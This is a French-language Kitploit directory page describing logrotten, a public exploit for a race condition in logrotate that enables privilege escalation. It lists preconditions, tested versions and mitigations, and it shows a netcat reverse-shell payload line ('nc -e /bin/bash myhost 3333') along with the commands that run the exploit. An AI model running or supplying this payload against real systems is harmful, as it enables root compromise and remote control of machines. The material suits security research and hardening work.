Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
logrotten — Exploit de condition de concurrence sur Logrotate permettant une élévation de privilèges en écrivant des fichiers arbitraires, tels que des payloads de reverse shell, dans des répertoires système. | Kitploit
Outils/GitHubGitHub/whotwagner/logrotten
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationPost-ExploitationTests d'IntrusionRed TeamingExploitation de Binaires
GitHubwhotwagner/logrotten

logrotten

Exploit de condition de concurrence sur Logrotate permettant une élévation de privilèges en écrivant des fichiers arbitraires, tels que des payloads de reverse shell, dans des répertoires système.

Voir le dépôt
211263il y a 8 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

[!WARNING]
Ce dépôt a été déplacé vers https://codeberg.org/whotwagner/logrotten. Veuillez visiter le nouvel emplacement pour les dernières mises à jour.

Exploiter une condition de course dans logrotate pour élever les privilèges

Logrotten Logo

Brève description

  • logrotate est sujet à une condition de course après le renommage du fichier journal.
  • Si logrotate est exécuté en tant que root, avec une option qui crée un fichier (comme create, copy, compress, etc.) et que l'utilisateur contrôle le chemin du fichier journal, il est possible d'abuser d'une condition de course pour écrire des fichiers dans TOUS les répertoires.
  • Un attaquant pourrait élever ses privilèges en écrivant des reverse-shells dans des répertoires comme "/etc/bash_completition.d/".

Condition préalable à l'élévation de privilèges

  • Logrotate doit être exécuté en tant que root
  • Le logpath doit être sous le contrôle de l'attaquant
  • Toute option qui crée des fichiers est définie dans la configuration de logrotate

Versions testées

  • Debian GNU/Linux 11 (bullseye)
  • Debian GNU/Linux 9.5 (stretch)
  • Amazon Linux 2 AMI (HVM)
  • Ubuntu 18.04.1
  • logrotate 3.8.6
  • logrotate 3.11.0
  • logrotate 3.15.0
  • logrotate 3.18.0

Compilation

  • gcc -o logrotten logrotten.c

Préparer le payload

root@kitploit:~
echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile

Exécuter l'exploit

Si l'option "create" est définie dans logrotate.cfg:

root@kitploit:~
./logrotten -p ./payloadfile /tmp/log/pwnme.log

Si l'option "compress" est définie dans logrotate.cfg:

root@kitploit:~
./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log

Problèmes connus

  • Il était difficile de gagner la course dans un conteneur docker ou sur un lvm2-volume. Cette version de logrotten améliore la fiabilité.

Atténuation

  • s'assurer que le logpath appartient à root
  • utiliser l'option "su" dans logrotate.cfg
  • utiliser selinux ou apparmor

Auteur

  • Wolfgang Hotwagner

Références

  • https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
  • https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
  • https://github.com/whotwagner/logrotten
  • https://www.ait.ac.at/themen/cyber-security/ait-sa-20190930-01/
  • https://tech.feedyourhead.at/content/privilege-escalation-in-groonga-httpd
Télécharger l’outil